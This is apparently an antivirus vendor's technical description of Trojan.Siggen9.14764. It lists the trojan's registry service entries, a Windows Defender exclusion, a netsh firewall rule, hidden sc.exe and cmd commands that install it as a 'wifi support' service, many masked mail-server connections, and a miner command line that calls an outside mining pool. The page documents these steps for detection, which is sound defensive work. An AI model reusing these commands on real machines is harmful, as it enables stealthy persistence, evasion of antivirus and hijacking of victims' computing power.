Trojan.Siggen9.14764

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\ghrolnqt] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ghrolnqt] 'ImagePath' = '%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ghrolnqt] 'ImagePath' = '%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ghrolnqt' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\cflfufqw.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\cflfufqw.exe to %WINDIR%\syswow64\ghrolnqt\cflfufqw.exe

Deletes itself.

Network activity

Connects to

'mx.##line.net':25

TCP

HTTP GET requests

http://www.google.com/

'43.#31.4.7':443

'93.##9.69.109':428

'46.#8.66.2':428

'eu#######nbound-1.mimecast.com':25

'sp######svt.uelements.com':25

'ns.##park.com':25

'tr########.mail.protection.outlook.com':25

'ma##.#anvenez.com':25

'mx#####.#ail.gm0.yahoodns.net':25

'cu#######-1.in.mailcontrol.com':25

'd1######.#ss.barracudanetworks.com':25

'ba##.##line-access.com':25

'ma##.kebs.org':25

'ma##.tritg.com':25

'mx.##.#topenworld.com':25

'co########.mail.protection.outlook.com':25

'ms#####p-mx2.hinet.net':25

'gmail-smtp-in.l.google.com':25

'ma########0354506c.flickflack.com':25

'ma##.##llmonning.org':25

'ma##.##naryinfoways.com':25

'ms#####p-mx1.hinet.net':25

'na#.###.#rotection.outlook.com':25

'mx.###eneshop.no':25

'46.#.52.109':428

'alt1.aspmx.l.google.com':25

'17#.#.114.177':428

'mx###.##il.am0.yahoodns.net':25

'85.##4.134.88':484

'mt##.##0.yahoodns.net':25

'mi####.bittubeapp.com':13333

'aspmx.l.google.com':25

'ho#########.olc.protection.outlook.com':25

'ma##.###rnelandgroup.com':25

'mt#.##gistar.com':25

'pu######1.mail2world.com':25

'mx####.##il.gm0.yahoodns.net':25

'mx###.in-mx.net':25

'ma##.#ailerhost.net':25

'us#######nbound-1.mimecast.com':25

'78.#1.67.23':428

'sm###.edelkey.net':25

'em#.mail.ru':25

'mx#.##tsolmail.net':25

'mx#####.natrohost.com':25

'mb####.mynet.com':25

'mx#.####.#omie.mail.dreamhost.com':25

'ma##.fiai.net':25

'eu#.###.#rotection.outlook.com':25

'mx.####iciodecorreo.es':25

'jp##########.mail.protection.outlook.com':25

'ma###in.box.nl':25

'18#.#65.238.150':428

'ap#.###.#rotection.outlook.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx#####.#ail.gm0.yahoodns.net
DNS ASK ka###usak.net
DNS ASK ma##.#ickelhost.com
DNS ASK ka##.com
DNS ASK is###dfdn.org
DNS ASK sf##ce.com
DNS ASK is######reandsecurity.co.uk
DNS ASK ns.##park.com
DNS ASK im#.com
DNS ASK mb##nc.com
DNS ASK la###ice.com
DNS ASK la#####eplastics.net
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK ka###ab.co.za
DNS ASK es##ebs.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK ya##o.co.in
DNS ASK la##ons.com
DNS ASK en###rth.com
DNS ASK ma##.#anvenez.com
DNS ASK mx#.##.correio.biz
DNS ASK ka#####ruitgevers.nl
DNS ASK ma###in.box.nl
DNS ASK an##in.com
DNS ASK la##g.com
DNS ASK cl######.eu.messagelabs.com
DNS ASK google.com
DNS ASK la####derealty.net
DNS ASK la####volders.nl
DNS ASK ka###uriya.biz
DNS ASK eu#######nbound-1.mimecast.com
DNS ASK re###merce.com
DNS ASK ue###ents.com
DNS ASK sp######svt.uelements.com
DNS ASK tr##fg.com
DNS ASK tr########.mail.protection.outlook.com
DNS ASK ba###nez.com
DNS ASK ig.#om.br
DNS ASK so####schein.com
DNS ASK la####deservice.com
DNS ASK ba##.##line-access.com
DNS ASK la####desupply.com
DNS ASK ho##ail.it
DNS ASK ha###burton.com
DNS ASK ke##.org
DNS ASK ma##.kebs.org
DNS ASK we##v.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK eq###lass.net
DNS ASK mx.#.#ocaweb.com.br
DNS ASK es###.msha.com
DNS ASK jp##########.mail.protection.outlook.com
DNS ASK ho##ail.sg
DNS ASK ap#.###.#rotection.outlook.com
DNS ASK mx##.job.ru
DNS ASK mx#.##.ru.job.ru
DNS ASK da###onitor.com
DNS ASK ho##ail.ca
DNS ASK ho########.olc.protection.outlook.com
DNS ASK eq###oach.org
DNS ASK mx.###eneshop.no
DNS ASK ma##.##llmonning.org
DNS ASK fo###oppen.no
DNS ASK bi###onning.org
DNS ASK ma##.tritg.com
DNS ASK bt###nworld.com
DNS ASK mx.##.#topenworld.com
DNS ASK co##co.com
DNS ASK co########.mail.protection.outlook.com
DNS ASK dr######0.mywwwserver.com
DNS ASK ms##.hinet.net
DNS ASK ms#####p-mx2.hinet.net
DNS ASK mx.##line.net
DNS ASK ma##.##naryinfoways.com
DNS ASK fl###flack.com
DNS ASK ma########0354506c.flickflack.com
DNS ASK ki###fnerds.net
DNS ASK ms#.#inet.net
DNS ASK ms#####p-mx1.hinet.net
DNS ASK gm##l.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK bi####infoways.com
DNS ASK sw##k.com
DNS ASK ms##.com
DNS ASK jp###len.com
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK ab###okia.com
DNS ASK aa###bai.com
DNS ASK mx#.##ailsrvr.com
DNS ASK ma###ralph.com
DNS ASK pu######1.mail2world.com
DNS ASK sh###erfly.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK aa##d.com
DNS ASK sm##.##cureserver.net
DNS ASK wt##.com
DNS ASK ma##.#ailerhost.net
DNS ASK se####grabber.com
DNS ASK mx###.in-mx.net
DNS ASK a3#####03.direcpc.com
DNS ASK ca###ark.com
DNS ASK di###way.com
DNS ASK da###sebeer.com
DNS ASK mt#.##gistar.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ya##o.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ab####brakes.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK aa#.edu
DNS ASK ao#.com
DNS ASK aspmx.l.google.com
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK kv####landgroup.com
DNS ASK ma##.###rnelandgroup.com
DNS ASK di###tar.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mi####.bittubeapp.com
DNS ASK ch##ca.com
DNS ASK ya##o.fr
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK mb####.mynet.com
DNS ASK hk##ar.com
DNS ASK im####.netvigator.com
DNS ASK ka####ercolor.com
DNS ASK mx#####.natrohost.com
DNS ASK fi##.net
DNS ASK ma##.fiai.net
DNS ASK ho##ail.fr
DNS ASK kp##.co.uk
DNS ASK sm####n-02.joyo.com
DNS ASK mx#######b03.gslb.pphosted.com
DNS ASK ba###abucks.com
DNS ASK ka#####r-editorial.com
DNS ASK mx.####iciodecorreo.es
DNS ASK fl##ock.com
DNS ASK sm####lay.vul.com
DNS ASK ka###ters.be
DNS ASK ma##.#arakters.be
DNS ASK my##t.com
DNS ASK ka####eations.com
DNS ASK mx#.####.#omie.mail.dreamhost.com
DNS ASK us#######nbound-1.mimecast.com
DNS ASK ma###world.com
DNS ASK pu######2.mail2world.com
DNS ASK xs###nch.com
DNS ASK lo###nlife.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK uk.#bm.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK ca##er.com
DNS ASK jo##.com
DNS ASK fl#.co.uk
DNS ASK mx#.##tsolmail.net
DNS ASK hy##o.com
DNS ASK sm###.edelkey.net
DNS ASK ic##ail.com
DNS ASK em#.mail.ru
DNS ASK mi####ealthcare.com
DNS ASK lm##.com
DNS ASK ma####02.lmco.com
DNS ASK ka###roeger.com
DNS ASK li#####irestudio.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ghrolnqt\cflfufqw.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ghrolnqt\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cflfufqw.exe" %WINDIR%\SysWOW64\ghrolnqt\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ghrolnqt binPath= "%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ghrolnqt "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ghrolnqt' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ghrolnqt\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cflfufqw.exe" %WINDIR%\SysWOW64\ghrolnqt\
'%WINDIR%\syswow64\sc.exe' create ghrolnqt binPath= "%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ghrolnqt "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ghrolnqt
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial